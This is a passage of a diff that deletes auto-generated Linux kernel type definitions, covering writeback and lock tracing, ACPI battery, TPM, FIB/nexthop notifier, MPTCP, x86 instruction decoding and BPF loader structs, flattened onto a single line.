{ - struct wake_q_node *first; - struct wake_q_node **lastp; -}; - -struct trace_event_raw_lock_acquire { - struct trace_entry ent; - unsigned int flags; - u32 __data_loc_name; - void *lockdep_addr; - char __data[0]; -}; - -struct trace_event_raw_lock { - struct trace_entry ent; - u32 __data_loc_name; - void *lockdep_addr; - char __data[0]; -}; - -struct trace_event_raw_contention_begin { - struct trace_entry ent; - void *lock_addr; - unsigned int flags; - char __data[0]; -}; - -struct trace_event_raw_contention_end { - struct trace_entry ent; - void *lock_addr; - int ret; - char __data[0]; -}; - -struct trace_event_data_offsets_lock_acquire { - u32 name; -}; - -struct trace_event_data_offsets_lock { - u32 name; -}; - -struct trace_event_data_offsets_contention_begin {}; - -struct trace_event_data_offsets_contention_end {}; - -typedef void (*btf_trace_lock_acquire)(void *, struct lockdep_map *, unsigned int, int, int, int, struct lockdep_map *, long unsigned int); - -typedef void (*btf_trace_lock_release)(void *, struct lockdep_map *, long unsigned int); - -typedef void (*btf_trace_contention_begin)(void *, void *, unsigned int); - -typedef void (*btf_trace_contention_end)(void *, void *, int); - -struct dma_pool { - struct list_head page_list; - spinlock_t lock; - size_t size; - struct device *dev; - size_t allocation; - size_t boundary; - char name[32]; - struct list_head pools; -}; - -struct dma_page { - struct list_head page_list; - void *vaddr; - dma_addr_t dma; - unsigned int in_use; - unsigned int offset; -}; - -struct files_stat_struct { - long unsigned int nr_files; - long unsigned int nr_free_files; - long unsigned int max_files; -}; - -typedef void (*task_work_func_t)(struct callback_head *); - -struct wait_bit_queue_entry { - struct wait_bit_key key; - struct wait_queue_entry wq_entry; -}; - -enum wb_state { - WB_registered = 0, - WB_writeback_running = 1, - WB_has_dirty_io = 2, - WB_start_all = 3, -}; - -struct wb_writeback_work { - long int nr_pages; - struct super_block *sb; - enum writeback_sync_modes sync_mode; - unsigned int tagged_writepages: 1; - unsigned int for_kupdate: 1; - unsigned int range_cyclic: 1; - unsigned int for_background: 1; - unsigned int for_sync: 1; - unsigned int auto_free: 1; - enum wb_reason reason; - struct list_head list; - struct wb_completion *done; -}; - -struct trace_event_raw_writeback_folio_template { - struct trace_entry ent; - char name[32]; - ino_t ino; - long unsigned int index; - char __data[0]; -}; - -struct trace_event_raw_writeback_dirty_inode_template { - struct trace_entry ent; - char name[32]; - ino_t ino; - long unsigned int state; - long unsigned int flags; - char __data[0]; -}; - -struct trace_event_raw_inode_foreign_history { - struct trace_entry ent; - char name[32]; - ino_t ino; - ino_t cgroup_ino; - unsigned int history; - char __data[0]; -}; - -struct trace_event_raw_inode_switch_wbs { - struct trace_entry ent; - char name[32]; - ino_t ino; - ino_t old_cgroup_ino; - ino_t new_cgroup_ino; - char __data[0]; -}; - -struct trace_event_raw_track_foreign_dirty { - struct trace_entry ent; - char name[32]; - u64 bdi_id; - ino_t ino; - unsigned int memcg_id; - ino_t cgroup_ino; - ino_t page_cgroup_ino; - char __data[0]; -}; - -struct trace_event_raw_flush_foreign { - struct trace_entry ent; - char name[32]; - ino_t cgroup_ino; - unsigned int frn_bdi_id; - unsigned int frn_memcg_id; - char __data[0]; -}; - -struct trace_event_raw_writeback_write_inode_template { - struct trace_entry ent; - char name[32]; - ino_t ino; - int sync_mode; - ino_t cgroup_ino; - char __data[0]; -}; - -struct trace_event_raw_writeback_work_class { - struct trace_entry ent; - char name[32]; - long int nr_pages; - dev_t sb_dev; - int sync_mode; - int for_kupdate; - int range_cyclic; - int for_background; - int reason; - ino_t cgroup_ino; - char __data[0]; -}; - -struct trace_event_raw_writeback_pages_written { - struct trace_entry ent; - long int pages; - char __data[0]; -}; - -struct trace_event_raw_writeback_class { - struct trace_entry ent; - char name[32]; - ino_t cgroup_ino; - char __data[0]; -}; - -struct trace_event_raw_writeback_bdi_register { - struct trace_entry ent; - char name[32]; - char __data[0]; -}; - -struct trace_event_raw_wbc_class { - struct trace_entry ent; - char name[32]; - long int nr_to_write; - long int pages_skipped; - int sync_mode; - int for_kupdate; - int for_background; - int for_reclaim; - int range_cyclic; - long int range_start; - long int range_end; - ino_t cgroup_ino; - char __data[0]; -}; - -struct trace_event_raw_writeback_queue_io { - struct trace_entry ent; - char name[32]; - long unsigned int older; - long int age; - int moved; - int reason; - ino_t cgroup_ino; - char __data[0]; -}; - -struct trace_event_raw_global_dirty_state { - struct trace_entry ent; - long unsigned int nr_dirty; - long unsigned int nr_writeback; - long unsigned int background_thresh; - long unsigned int dirty_thresh; - long unsigned int dirty_limit; - long unsigned int nr_dirtied; - long unsigned int nr_written; - char __data[0]; -}; - -struct trace_event_raw_bdi_dirty_ratelimit { - struct trace_entry ent; - char bdi[32]; - long unsigned int write_bw; - long unsigned int avg_write_bw; - long unsigned int dirty_rate; - long unsigned int dirty_ratelimit; - long unsigned int task_ratelimit; - long unsigned int balanced_dirty_ratelimit; - ino_t cgroup_ino; - char __data[0]; -}; - -struct trace_event_raw_balance_dirty_pages { - struct trace_entry ent; - char bdi[32]; - long unsigned int limit; - long unsigned int setpoint; - long unsigned int dirty; - long unsigned int bdi_setpoint; - long unsigned int bdi_dirty; - long unsigned int dirty_ratelimit; - long unsigned int task_ratelimit; - unsigned int dirtied; - unsigned int dirtied_pause; - long unsigned int paused; - long int pause; - long unsigned int period; - long int think; - ino_t cgroup_ino; - char __data[0]; -}; - -struct trace_event_raw_writeback_sb_inodes_requeue { - struct trace_entry ent; - char name[32]; - ino_t ino; - long unsigned int state; - long unsigned int dirtied_when; - ino_t cgroup_ino; - char __data[0]; -}; - -struct trace_event_raw_writeback_single_inode_template { - struct trace_entry ent; - char name[32]; - ino_t ino; - long unsigned int state; - long unsigned int dirtied_when; - long unsigned int writeback_index; - long int nr_to_write; - long unsigned int wrote; - ino_t cgroup_ino; - char __data[0]; -}; - -struct trace_event_raw_writeback_inode_template { - struct trace_entry ent; - dev_t dev; - ino_t ino; - long unsigned int state; - __u16 mode; - long unsigned int dirtied_when; - char __data[0]; -}; - -struct trace_event_data_offsets_writeback_folio_template {}; - -struct trace_event_data_offsets_writeback_dirty_inode_template {}; - -struct trace_event_data_offsets_inode_foreign_history {}; - -struct trace_event_data_offsets_inode_switch_wbs {}; - -struct trace_event_data_offsets_track_foreign_dirty {}; - -struct trace_event_data_offsets_flush_foreign {}; - -struct trace_event_data_offsets_writeback_write_inode_template {}; - -struct trace_event_data_offsets_writeback_work_class {}; - -struct trace_event_data_offsets_writeback_pages_written {}; - -struct trace_event_data_offsets_writeback_class {}; - -struct trace_event_data_offsets_writeback_bdi_register {}; - -struct trace_event_data_offsets_wbc_class {}; - -struct trace_event_data_offsets_writeback_queue_io {}; - -struct trace_event_data_offsets_global_dirty_state {}; - -struct trace_event_data_offsets_bdi_dirty_ratelimit {}; - -struct trace_event_data_offsets_balance_dirty_pages {}; - -struct trace_event_data_offsets_writeback_sb_inodes_requeue {}; - -struct trace_event_data_offsets_writeback_single_inode_template {}; - -struct trace_event_data_offsets_writeback_inode_template {}; - -typedef void (*btf_trace_writeback_dirty_folio)(void *, struct folio *, struct address_space *); - -typedef void (*btf_trace_folio_wait_writeback)(void *, struct folio *, struct address_space *); - -typedef void (*btf_trace_writeback_mark_inode_dirty)(void *, struct inode *, int); - -typedef void (*btf_trace_writeback_dirty_inode_start)(void *, struct inode *, int); - -typedef void (*btf_trace_writeback_dirty_inode)(void *, struct inode *, int); - -typedef void (*btf_trace_inode_foreign_history)(void *, struct inode *, struct writeback_control *, unsigned int); - -typedef void (*btf_trace_inode_switch_wbs)(void *, struct inode *, struct bdi_writeback *, struct bdi_writeback *); - -typedef void (*btf_trace_track_foreign_dirty)(void *, struct folio *, struct bdi_writeback *); - -typedef void (*btf_trace_flush_foreign)(void *, struct bdi_writeback *, unsigned int, unsigned int); - -typedef void (*btf_trace_writeback_write_inode_start)(void *, struct inode *, struct writeback_control *); - -typedef void (*btf_trace_writeback_write_inode)(void *, struct inode *, struct writeback_control *); - -typedef void (*btf_trace_writeback_queue)(void *, struct bdi_writeback *, struct wb_writeback_work *); - -typedef void (*btf_trace_writeback_exec)(void *, struct bdi_writeback *, struct wb_writeback_work *); - -typedef void (*btf_trace_writeback_start)(void *, struct bdi_writeback *, struct wb_writeback_work *); - -typedef void (*btf_trace_writeback_written)(void *, struct bdi_writeback *, struct wb_writeback_work *); - -typedef void (*btf_trace_writeback_wait)(void *, struct bdi_writeback *, struct wb_writeback_work *); - -typedef void (*btf_trace_writeback_pages_written)(void *, long int); - -typedef void (*btf_trace_writeback_wake_background)(void *, struct bdi_writeback *); - -typedef void (*btf_trace_writeback_bdi_register)(void *, struct backing_dev_info *); - -typedef void (*btf_trace_wbc_writepage)(void *, struct writeback_control *, struct backing_dev_info *); - -typedef void (*btf_trace_writeback_queue_io)(void *, struct bdi_writeback *, struct wb_writeback_work *, long unsigned int, int); - -typedef void (*btf_trace_global_dirty_state)(void *, long unsigned int, long unsigned int); - -typedef void (*btf_trace_bdi_dirty_ratelimit)(void *, struct bdi_writeback *, long unsigned int, long unsigned int); - -typedef void (*btf_trace_balance_dirty_pages)(void *, struct bdi_writeback *, long unsigned int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, long int, long unsigned int); - -typedef void (*btf_trace_writeback_sb_inodes_requeue)(void *, struct inode *); - -typedef void (*btf_trace_writeback_single_inode_start)(void *, struct inode *, struct writeback_control *, long unsigned int); - -typedef void (*btf_trace_writeback_single_inode)(void *, struct inode *, struct writeback_control *, long unsigned int); - -typedef void (*btf_trace_writeback_lazytime)(void *, struct inode *); - -typedef void (*btf_trace_writeback_lazytime_iput)(void *, struct inode *); - -typedef void (*btf_trace_writeback_dirty_inode_enqueue)(void *, struct inode *); - -typedef void (*btf_trace_sb_mark_inode_writeback)(void *, struct inode *); - -typedef void (*btf_trace_sb_clear_inode_writeback)(void *, struct inode *); - -struct inode_switch_wbs_context { - struct rcu_work work; - struct bdi_writeback *new_wb; - struct inode *inodes[0]; -}; - -struct acpi_pld_info { - u8 revision; - u8 ignore_color; - u8 red; - u8 green; - u8 blue; - u16 width; - u16 height; - u8 user_visible; - u8 dock; - u8 lid; - u8 panel; - u8 vertical_position; - u8 horizontal_position; - u8 shape; - u8 group_orientation; - u8 group_token; - u8 group_position; - u8 bay; - u8 ejectable; - u8 ospm_eject_required; - u8 cabinet_number; - u8 card_cage_number; - u8 reference; - u8 rotation; - u8 order; - u8 reserved; - u16 vertical_offset; - u16 horizontal_offset; -}; - -struct acpi_handle_list { - u32 count; - acpi_handle handles[10]; -}; - -struct acpi_device_bus_id { - const char *bus_id; - struct ida instance_ida; - struct list_head node; -}; - -struct acpi_dev_match_info { - struct acpi_device_id hid[2]; - const char *uid; - s64 hrv; -}; - -struct acpi_init_walk_info { - u32 table_index; - u32 object_count; - u32 method_count; - u32 serial_method_count; - u32 non_serial_method_count; - u32 serialized_method_count; - u32 device_count; - u32 op_region_count; - u32 field_count; - u32 buffer_count; - u32 package_count; - u32 op_region_init; - u32 field_init; - u32 buffer_init; - u32 package_init; - acpi_owner_id owner_id; -}; - -struct acpi_device_walk_info { - struct acpi_table_desc *table_desc; - struct acpi_evaluate_info *evaluate_info; - u32 device_count; - u32 num_STA; - u32 num_INI; -}; - -struct acpi_battery_hook { - const char *name; - int (*add_battery)(struct power_supply *); - int (*remove_battery)(struct power_supply *); - struct list_head list; -}; - -enum { - ACPI_BATTERY_ALARM_PRESENT = 0, - ACPI_BATTERY_XINFO_PRESENT = 1, - ACPI_BATTERY_QUIRK_PERCENTAGE_CAPACITY = 2, - ACPI_BATTERY_QUIRK_THINKPAD_MAH = 3, - ACPI_BATTERY_QUIRK_DEGRADED_FULL_CHARGE = 4, -}; - -struct acpi_battery { - struct mutex lock; - struct mutex sysfs_lock; - struct power_supply *bat; - struct power_supply_desc bat_desc; - struct acpi_device *device; - struct notifier_block pm_nb; - struct list_head list; - long unsigned int update_time; - int revision; - int rate_now; - int capacity_now; - int voltage_now; - int design_capacity; - int full_charge_capacity; - int technology; - int design_voltage; - int design_capacity_warning; - int design_capacity_low; - int cycle_count; - int measurement_accuracy; - int max_sampling_time; - int min_sampling_time; - int max_averaging_interval; - int min_averaging_interval; - int capacity_granularity_1; - int capacity_granularity_2; - int alarm; - char model_number[32]; - char serial_number[32]; - char type[32]; - char oem_info[32]; - int state; - int power_unit; - long unsigned int flags; -}; - -struct acpi_offsets { - size_t offset; - u8 mode; -}; - -enum tpm_timeout { - TPM_TIMEOUT = 5, - TPM_TIMEOUT_RETRY = 100, - TPM_TIMEOUT_RANGE_US = 300, - TPM_TIMEOUT_POLL = 1, - TPM_TIMEOUT_USECS_MIN = 100, - TPM_TIMEOUT_USECS_MAX = 500, -}; - -struct stclear_flags_t { - __be16 tag; - u8 deactivated; - u8 disableForceClear; - u8 physicalPresence; - u8 physicalPresenceLock; - u8 bGlobalLock; -} __attribute__((packed)); - -struct tpm1_version { - u8 major; - u8 minor; - u8 rev_major; - u8 rev_minor; -}; - -struct tpm1_version2 { - __be16 tag; - struct tpm1_version version; -}; - -struct timeout_t { - __be32 a; - __be32 b; - __be32 c; - __be32 d; -}; - -struct duration_t { - __be32 tpm_short; - __be32 tpm_medium; - __be32 tpm_long; -}; - -struct permanent_flags_t { - __be16 tag; - u8 disable; - u8 ownership; - u8 deactivated; - u8 readPubek; - u8 disableOwnerClear; - u8 allowMaintenance; - u8 physicalPresenceLifetimeLock; - u8 physicalPresenceHWEnable; - u8 physicalPresenceCMDEnable; - u8 CEKPUsed; - u8 TPMpost; - u8 TPMpostLock; - u8 FIPS; - u8 operator; - u8 enableRevokeEK; - u8 nvLocked; - u8 readSRKPub; - u8 tpmEstablished; - u8 maintenanceDone; - u8 disableFullDALogicInfo; -}; - -typedef union { - struct permanent_flags_t perm_flags; - struct stclear_flags_t stclear_flags; - __u8 owned; - __be32 num_pcrs; - struct tpm1_version version1; - struct tpm1_version2 version2; - __be32 manufacturer_id; - struct timeout_t timeout; - struct duration_t duration; -} cap_t; - -enum tpm_capabilities { - TPM_CAP_FLAG = 4, - TPM_CAP_PROP = 5, - TPM_CAP_VERSION_1_1 = 6, - TPM_CAP_VERSION_1_2 = 26, -}; - -enum tpm_sub_capabilities { - TPM_CAP_PROP_PCR = 257, - TPM_CAP_PROP_MANUFACTURER = 259, - TPM_CAP_FLAG_PERM = 264, - TPM_CAP_FLAG_VOL = 265, - TPM_CAP_PROP_OWNER = 273, - TPM_CAP_PROP_TIS_TIMEOUT = 277, - TPM_CAP_PROP_TIS_DURATION = 288, -}; - -enum tis_access { - TPM_ACCESS_VALID = 128, - TPM_ACCESS_ACTIVE_LOCALITY = 32, - TPM_ACCESS_REQUEST_PENDING = 4, - TPM_ACCESS_REQUEST_USE = 2, -}; - -enum tis_status { - TPM_STS_VALID = 128, - TPM_STS_COMMAND_READY = 64, - TPM_STS_GO = 32, - TPM_STS_DATA_AVAIL = 16, - TPM_STS_DATA_EXPECT = 8, - TPM_STS_READ_ZERO = 35, -}; - -enum tis_int_flags { - TPM_GLOBAL_INT_ENABLE = 2147483648, - TPM_INTF_BURST_COUNT_STATIC = 256, - TPM_INTF_CMD_READY_INT = 128, - TPM_INTF_INT_EDGE_FALLING = 64, - TPM_INTF_INT_EDGE_RISING = 32, - TPM_INTF_INT_LEVEL_LOW = 16, - TPM_INTF_INT_LEVEL_HIGH = 8, - TPM_INTF_LOCALITY_CHANGE_INT = 4, - TPM_INTF_STS_VALID_INT = 2, - TPM_INTF_DATA_AVAIL_INT = 1, -}; - -struct tis_vendor_durations_override { - u32 did_vid; - struct tpm1_version version; - long unsigned int durations[3]; -}; - -struct tis_vendor_timeout_override { - u32 did_vid; - long unsigned int timeout_us[4]; -}; - -struct fib_rt_info { - struct fib_info *fi; - u32 tb_id; - __be32 dst; - int dst_len; - dscp_t dscp; - u8 type; - u8 offload: 1; - u8 trap: 1; - u8 offload_failed: 1; - u8 unused: 5; -}; - -struct fib_entry_notifier_info { - struct fib_notifier_info info; - u32 dst; - int dst_len; - struct fib_info *fi; - dscp_t dscp; - u8 type; - u32 tb_id; -}; - -struct fib6_entry_notifier_info { - struct fib_notifier_info info; - struct fib6_info *rt; - unsigned int nsiblings; -}; - -enum nexthop_event_type { - NEXTHOP_EVENT_DEL = 0, - NEXTHOP_EVENT_REPLACE = 1, - NEXTHOP_EVENT_RES_TABLE_PRE_REPLACE = 2, - NEXTHOP_EVENT_BUCKET_REPLACE = 3, -}; - -enum nh_notifier_info_type { - NH_NOTIFIER_INFO_TYPE_SINGLE = 0, - NH_NOTIFIER_INFO_TYPE_GRP = 1, - NH_NOTIFIER_INFO_TYPE_RES_TABLE = 2, - NH_NOTIFIER_INFO_TYPE_RES_BUCKET = 3, -}; - -struct nh_notifier_single_info { - struct net_device *dev; - u8 gw_family; - union { - __be32 ipv4; - struct in6_addr ipv6; - }; - u8 is_reject: 1; - u8 is_fdb: 1; - u8 has_encap: 1; -}; - -struct nh_notifier_grp_entry_info { - u8 weight; - u32 id; - struct nh_notifier_single_info nh; -}; - -struct nh_notifier_grp_info { - u16 num_nh; - bool is_fdb; - struct nh_notifier_grp_entry_info nh_entries[0]; -}; - -struct nh_notifier_res_bucket_info { - u16 bucket_index; - unsigned int idle_timer_ms; - bool force; - struct nh_notifier_single_info old_nh; - struct nh_notifier_single_info new_nh; -}; - -struct nh_notifier_res_table_info { - u16 num_nh_buckets; - struct nh_notifier_single_info nhs[0]; -}; - -struct nh_notifier_info { - struct net *net; - struct netlink_ext_ack *extack; - u32 id; - enum nh_notifier_info_type type; - union { - struct nh_notifier_single_info *nh; - struct nh_notifier_grp_info *nh_grp; - struct nh_notifier_res_table_info *nh_res_table; - struct nh_notifier_res_bucket_info *nh_res_bucket; - }; -}; - -typedef u64 devlink_resource_occ_get_t(void *); - -enum nsim_resource_id { - NSIM_RESOURCE_NONE = 0, - NSIM_RESOURCE_IPV4 = 1, - NSIM_RESOURCE_IPV4_FIB = 2, - NSIM_RESOURCE_IPV4_FIB_RULES = 3, - NSIM_RESOURCE_IPV6 = 4, - NSIM_RESOURCE_IPV6_FIB = 5, - NSIM_RESOURCE_IPV6_FIB_RULES = 6, - NSIM_RESOURCE_NEXTHOPS = 7, -}; - -struct nsim_fib_entry { - u64 max; - atomic64_t num; -}; - -struct nsim_per_fib_data { - struct nsim_fib_entry fib; - struct nsim_fib_entry rules; -}; - -struct nsim_fib_data { - struct notifier_block fib_nb; - struct nsim_per_fib_data ipv4; - struct nsim_per_fib_data ipv6; - struct nsim_fib_entry nexthops; - struct rhashtable fib_rt_ht; - struct list_head fib_rt_list; - struct mutex fib_lock; - struct notifier_block nexthop_nb; - struct rhashtable nexthop_ht; - struct devlink *devlink; - struct work_struct fib_event_work; - struct work_struct fib_flush_work; - struct list_head fib_event_queue; - spinlock_t fib_event_queue_lock; - struct mutex nh_lock; - struct dentry *ddir; - bool fail_route_offload; - bool fail_res_nexthop_group_replace; - bool fail_nexthop_bucket_replace; - bool fail_route_delete; -}; - -struct nsim_fib_rt_key { - unsigned char addr[16]; - unsigned char prefix_len; - int family; - u32 tb_id; -}; - -struct nsim_fib_rt { - struct nsim_fib_rt_key key; - struct rhash_head ht_node; - struct list_head list; -}; - -struct nsim_fib4_rt { - struct nsim_fib_rt common; - struct fib_info *fi; - dscp_t dscp; - u8 type; -}; - -struct nsim_fib6_rt { - struct nsim_fib_rt common; - struct list_head nh_list; - unsigned int nhs; -}; - -struct nsim_fib6_rt_nh { - struct list_head list; - struct fib6_info *rt; -}; - -struct nsim_fib6_event { - struct fib6_info **rt_arr; - unsigned int nrt6; -}; - -struct nsim_fib_event { - struct list_head list; - union { - struct fib_entry_notifier_info fen_info; - struct nsim_fib6_event fib6_event; - }; - struct nsim_fib_data *data; - long unsigned int event; - int family; -}; - -struct nsim_nexthop { - struct rhash_head ht_node; - u64 occ; - u32 id; - bool is_resilient; -}; - -struct nvmem_cell; - -struct ipt_standard { - struct ipt_entry entry; - struct xt_standard_target target; -}; - -struct icmp6_filter { - __u32 data[8]; -}; - -struct raw6_sock { - struct inet_sock inet; - __u32 checksum; - __u32 offset; - struct icmp6_filter filter; - __u32 ip6mr_table; - struct ipv6_pinfo inet6; -}; - -struct raw_iter_state { - struct seq_net_private p; - int bucket; -}; - -typedef int mh_filter_t(struct sock *, struct sk_buff *); - -struct raw6_frag_vec { - struct msghdr *msg; - int hlen; - char c[4]; -}; - -struct scm_timestamping_internal { - struct timespec64 ts[3]; -}; - -struct socket_alloc { - struct socket socket; - struct inode vfs_inode; - long: 64; -}; - -struct mptcp_skb_cb { - u64 map_seq; - u64 end_seq; - u32 offset; - u8 has_rxtstamp: 1; -}; - -struct trace_event_raw_mptcp_subflow_get_send { - struct trace_entry ent; - bool active; - bool free; - u32 snd_wnd; - u32 pace; - u8 backup; - u64 ratio; - char __data[0]; -}; - -struct trace_event_raw_mptcp_dump_mpext { - struct trace_entry ent; - u64 data_ack; - u64 data_seq; - u32 subflow_seq; - u16 data_len; - u16 csum; - u8 use_map; - u8 dsn64; - u8 data_fin; - u8 use_ack; - u8 ack64; - u8 mpc_map; - u8 frozen; - u8 reset_transient; - u8 reset_reason; - u8 csum_reqd; - u8 infinite_map; - char __data[0]; -}; - -struct trace_event_raw_ack_update_msk { - struct trace_entry ent; - u64 data_ack; - u64 old_snd_una; - u64 new_snd_una; - u64 new_wnd_end; - u64 msk_wnd_end; - char __data[0]; -}; - -struct trace_event_raw_subflow_check_data_avail { - struct trace_entry ent; - u8 status; - const void *skb; - char __data[0]; -}; - -struct trace_event_data_offsets_mptcp_subflow_get_send {}; - -struct trace_event_data_offsets_mptcp_dump_mpext {}; - -struct trace_event_data_offsets_ack_update_msk {}; - -struct trace_event_data_offsets_subflow_check_data_avail {}; - -typedef void (*btf_trace_mptcp_subflow_get_send)(void *, struct mptcp_subflow_context *); - -typedef void (*btf_trace_mptcp_sendmsg_frag)(void *, struct mptcp_ext *); - -typedef void (*btf_trace_get_mapping_status)(void *, struct mptcp_ext *); - -typedef void (*btf_trace_ack_update_msk)(void *, u64, u64, u64, u64, u64); - -typedef void (*btf_trace_subflow_check_data_avail)(void *, __u8, struct sk_buff *); - -enum { - MPTCP_CMSG_TS = 1, - MPTCP_CMSG_INQ = 2, -}; - -struct mptcp_sendmsg_info { - int mss_now; - int size_goal; - u16 limit; - u16 sent; - unsigned int flags; - bool data_lock_held; -}; - -struct subflow_send_info { - struct sock *ssk; - u64 linger_time; -}; - -typedef unsigned int insn_attr_t; - -typedef unsigned char insn_byte_t; - -typedef int insn_value_t; - -struct insn_field { - union { - insn_value_t value; - insn_byte_t bytes[4]; - }; - unsigned char got; - unsigned char nbytes; -}; - -struct insn { - struct insn_field prefixes; - struct insn_field rex_prefix; - struct insn_field vex_prefix; - struct insn_field opcode; - struct insn_field modrm; - struct insn_field sib; - struct insn_field displacement; - union { - struct insn_field immediate; - struct insn_field moffset1; - struct insn_field immediate1; - }; - union { - struct insn_field moffset2; - struct insn_field immediate2; - }; - int emulate_prefix_size; - insn_attr_t attr; - unsigned char opnd_bytes; - unsigned char addr_bytes; - unsigned char length; - unsigned char x86_64; - const insn_byte_t *kaddr; - const insn_byte_t *end_kaddr; - const insn_byte_t *next_byte; -}; - -enum { - PERF_BR_UNKNOWN = 0, - PERF_BR_COND = 1, - PERF_BR_UNCOND = 2, - PERF_BR_IND = 3, - PERF_BR_CALL = 4, - PERF_BR_IND_CALL = 5, - PERF_BR_RET = 6, - PERF_BR_SYSCALL = 7, - PERF_BR_SYSRET = 8, - PERF_BR_COND_CALL = 9, - PERF_BR_COND_RET = 10, - PERF_BR_ERET = 11, - PERF_BR_IRQ = 12, - PERF_BR_SERROR = 13, - PERF_BR_NO_TX = 14, - PERF_BR_EXTEND_ABI = 15, - PERF_BR_MAX = 16, -}; - -enum { - X86_BR_NONE = 0, - X86_BR_USER = 1, - X86_BR_KERNEL = 2, - X86_BR_CALL = 4, - X86_BR_RET = 8, - X86_BR_SYSCALL = 16, - X86_BR_SYSRET = 32, - X86_BR_INT = 64, - X86_BR_IRET = 128, - X86_BR_JCC = 256, - X86_BR_JMP = 512, - X86_BR_IRQ = 1024, - X86_BR_IND_CALL = 2048, - X86_BR_ABORT = 4096, - X86_BR_IN_TX = 8192, - X86_BR_NO_TX = 16384, - X86_BR_ZERO_CALL = 32768, - X86_BR_CALL_STACK = 65536, - X86_BR_IND_JMP = 131072, - X86_BR_TYPE_SAVE = 262144, -}; - -typedef __u8 mtrr_type; - -struct mtrr_ops { - u32 vendor; - u32 use_intel_if; - void (*set)(unsigned int, long unsigned int, long unsigned int, mtrr_type); - void (*set_all)(); - void (*get)(unsigned int, long unsigned int *, long unsigned int *, mtrr_type *); - int (*get_free_region)(long unsigned int, long unsigned int, int); - int (*validate_add_page)(long unsigned int, long unsigned int, unsigned int); - int (*have_wrcomb)(); -}; - -struct set_mtrr_data { - long unsigned int smp_base; - long unsigned int smp_size; - unsigned int smp_reg; - mtrr_type smp_type; -}; - -struct mtrr_value { - mtrr_type ltype; - long unsigned int lbase; - long unsigned int lsize; -}; - -struct taint_flag { - char c_true; - char c_false; - bool module; -}; - -enum ftrace_dump_mode { - DUMP_NONE = 0, - DUMP_ALL = 1, - DUMP_ORIG = 2, -}; - -enum kmsg_dump_reason { - KMSG_DUMP_UNDEF = 0, - KMSG_DUMP_PANIC = 1, - KMSG_DUMP_OOPS = 2, - KMSG_DUMP_EMERG = 3, - KMSG_DUMP_SHUTDOWN = 4, - KMSG_DUMP_MAX = 5, -}; - -enum reboot_mode { - REBOOT_UNDEFINED = -1, - REBOOT_COLD = 0, - REBOOT_WARM = 1, - REBOOT_HARD = 2, - REBOOT_SOFT = 3, - REBOOT_GPIO = 4, -}; - -enum con_flush_mode { - CONSOLE_FLUSH_PENDING = 0, - CONSOLE_REPLAY_ALL = 1, -}; - -enum error_detector { - ERROR_DETECTOR_KFENCE = 0, - ERROR_DETECTOR_KASAN = 1, - ERROR_DETECTOR_WARN = 2, -}; - -struct warn_args { - const char *fmt; - va_list args; -}; - -enum { - TRACE_FTRACE_BIT = 0, - TRACE_FTRACE_NMI_BIT = 1, - TRACE_FTRACE_IRQ_BIT = 2, - TRACE_FTRACE_SIRQ_BIT = 3, - TRACE_FTRACE_TRANSITION_BIT = 4, - TRACE_INTERNAL_BIT = 5, - TRACE_INTERNAL_NMI_BIT = 6, - TRACE_INTERNAL_IRQ_BIT = 7, - TRACE_INTERNAL_SIRQ_BIT = 8, - TRACE_INTERNAL_TRANSITION_BIT = 9, - TRACE_BRANCH_BIT = 10, - TRACE_IRQ_BIT = 11, - TRACE_GRAPH_BIT = 12, - TRACE_GRAPH_DEPTH_START_BIT = 13, - TRACE_GRAPH_DEPTH_END_BIT = 14, - TRACE_GRAPH_NOTRACE_BIT = 15, - TRACE_RECORD_RECURSION_BIT = 16, -}; - -enum { - TRACE_CTX_NMI = 0, - TRACE_CTX_IRQ = 1, - TRACE_CTX_SOFTIRQ = 2, - TRACE_CTX_NORMAL = 3, - TRACE_CTX_TRANSITION = 4, -}; - -typedef long unsigned int perf_trace_t[1024]; - -struct bpf_map_desc { - int map_fd; - __u32 max_entries; - __u64 initial_value; -}; - -struct bpf_prog_desc { - int prog_fd; -}; - -enum { - BPF_SKEL_KERNEL = 1, -}; - -struct bpf_loader_ctx { - __u32 sz; - __u32 flags; - __u32 log_level; - __u32 log_size; - __u64 log_buf; -}; - -struct bpf_load_and_run_opts { - struct bpf_loader_ctx *ctx; - const void *data; - const void *insns; - __u32 data_sz; - __u32 insns_sz; - const char *errstr; -}; - -struct iterators_bpf__rodata {}; - -struct iterators_bpf { - struct bpf_loader_ctx ctx; - struct { - struct bpf_map_desc rodata; - } maps; - struct { - struct bpf_prog_desc dump_bpf_map; - struct bpf_prog_desc dump_bpf_prog; - } progs; - struct { - int dump_bpf_map_fd; - int dump_bpf_prog_fd; - } links; - struct iterators_bpf__rodata *rodata; -}; - -struct static_key_mod { - struct static_key_mod *next; - struct jump_entry *entries; - struct module *mod; -}; - -enum jump_label_type { - JUMP_LABEL_NOP = 0, - JUMP_LABEL_JMP = 1, -}; - -struct static_key_deferred { - struct static_key key; - long unsigned int timeout; - struct delayed_work work; -}; - -struct trace_event_raw_mmap_lock { - struct trace_entry ent; - struct mm_struct *mm; - u32 __data_loc_memcg_path; - bool write; - char __data[0]; -}; - -struct trace_event_raw_mmap_lock_acquire_returned { - struct trace_entry ent; - struct mm_struct *mm; - u32 __data_loc_memcg_path; - bool write; - bool success; - char __data[0]; -}; - -struct trace_event_data_offsets_mmap_lock { - u32 memcg_path; -}; - -struct trace_event_data_offsets_mmap_lock_acquire_returned { - u32 memcg_path; -}; - -typedef void (*btf_trace_mmap_lock_start_locking)(void *, struct mm_struct *, const char *, bool); - -typedef void (*btf_trace_mmap_lock_released)(void *, struct mm_struct *, const char *, bool); - -typedef void (*btf_trace_mmap_lock_acquire_returned)(void *, struct mm_struct *, const char *, bool, bool); - -struct memcg_path { - local_lock_t lock; - char *buf; - local_t buf_idx; -}; - -struct ramfs_mount_opts { - umode_t mode; -}; - -struct ramfs_fs_info { - struct ramfs_mount_opts mount_opts; -}; - -enum ramfs_param { - Opt_mode___2 = 0, -}; - -enum asn1_class { - ASN1_UNIV = 0, - ASN1_APPL = 1, - ASN1_CONT = 2, - ASN1_PRIV = 3, -}; - -enum rsaprivkey_actions { - ACT_rsa_get_d = 0, - ACT_rsa_get_dp = 1, - ACT_rsa_get_dq = 2, - ACT_rsa_get_e = 3, - ACT_rsa_get_n = 4, - ACT_rsa_get_p = 5, - ACT_rsa_get_q = 6, - ACT_rsa_get_qinv = 7, - NR__rsaprivkey_actions = 8, -}; - -struct akcipher_instance { - void (*free)(struct akcipher_instance *); - union { - struct { - char head[80]; - struct crypto_instance base; - } 